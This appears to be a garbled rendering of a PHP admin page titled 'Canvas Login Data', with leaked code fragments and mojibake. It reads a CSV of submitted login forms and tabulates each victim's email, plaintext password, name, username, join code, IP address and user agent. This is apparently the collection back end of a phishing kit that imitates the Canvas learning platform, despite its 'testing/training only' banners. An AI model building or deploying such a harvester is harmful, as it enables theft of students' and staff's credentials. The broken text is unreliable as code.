🔒 Access Required

âš  Restricted Access: This area contains sensitive training data.
No login data found"; echo "

The CSV file does not exist yet. Submit some login forms first.

"; exit; } $csv_data = []; if (($handle = fopen($csv_file, 'r')) !== false) { while (($data = fgetcsv($handle)) !== false) { $csv_data[] = $data; } fclose($handle); } if (empty($csv_data)) { echo "

No login data found

"; echo "

The CSV file is empty.

"; exit; } ?> Canvas Login Data

Canvas Login Data

Logout
✅ Authenticated Access: You are viewing restricted training data.
Total Login Attempts: (excluding header row)

Breakdown by Type: $row) { if ($index == 0) continue; // Skip header $login_type = $row[4] ?? 'unknown'; $type_counts[$login_type] = ($type_counts[$login_type] ?? 0) + 1; } foreach ($type_counts as $type => $count) { $type_class = ''; switch ($type) { case 'email': $type_class = 'email-login'; break; case 'forgot_password': $type_class = 'forgot-password'; break; case 'create_account': $type_class = 'create-account'; break; } echo ""; echo htmlspecialchars($type) . ": " . $count; echo ""; } ?>
📱 Mobile Tip: Swipe left/right on the table below to view all columns
âš  Security Warning: This is for testing/training only.
"; // Timestamp echo ""; // Login Type echo ""; // Email echo ""; // Password echo ""; // Remember Me //echo ""; // Full Name echo ""; // Username echo ""; // Join Code // echo ""; // IP Address echo ""; // User Agent echo ""; echo ""; } ?>
Timestamp Login Type Email Password Full Name Username IP Address User Agent
" . htmlspecialchars($timestamp) . "" . htmlspecialchars($login_type) . "" . htmlspecialchars($password) . "" . htmlspecialchars($remember) . "" . htmlspecialchars($full_name) . "" . htmlspecialchars($username) . "" . htmlspecialchars($join_code) . "" . htmlspecialchars($ip_address) . "" . htmlspecialchars($user_agent) . "

CSV File Location: